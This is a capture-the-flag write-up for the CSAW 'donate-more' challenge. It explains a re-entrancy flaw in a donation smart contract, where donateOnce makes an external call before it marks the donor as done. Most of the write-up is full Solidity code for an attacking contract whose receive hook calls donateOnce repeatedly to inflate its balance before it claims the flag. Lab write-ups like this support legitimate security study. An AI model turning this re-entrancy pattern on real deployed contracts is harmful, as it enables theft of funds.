donate-more

This challenge was about re-entrancy. In donateOnce, the call to msg.sender.call is made before doneDonating[msg.sender] is set to true. If we call donation.donateOnce() in our receive hook, we can "enter" the donateOnce body multiple times without being blocked by the if-statement. The later calls execute before the first one has a chance to complete.

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.7;

abstract contract CSAWDonation {
mapping(address => uint256) public balances;
mapping(address => bool) public doneDonating;

function newAccount() virtual public payable;
function donateOnce() virtual public;
function getBalance() virtual public view returns (uint256 donatorBalance);
function getFlag(bytes32 _token) virtual public;
}

contract CSAWDonate {
CSAWDonation public donation;

constructor(address donationAddress) payable {
require(msg.value >= 0.0005 ether);
donation = CSAWDonation(donationAddress);
}

receive() external payable {
if (donation.getBalance() < 30) {
donation.donateOnce();
}
}

function main() external {
donation.newAccount{value: 0.0001 ether}();
donation.donateOnce();
}

function getFlag(bytes32 _token) external {
donation.getFlag(_token);
}
}

After constructing our contract with the address of their CSAWDonation contract, we call main. This brings our balance to 30, preparing us to call getFlag. Calling our pass-through getFlag with the token number from the challenge server gets us the flag.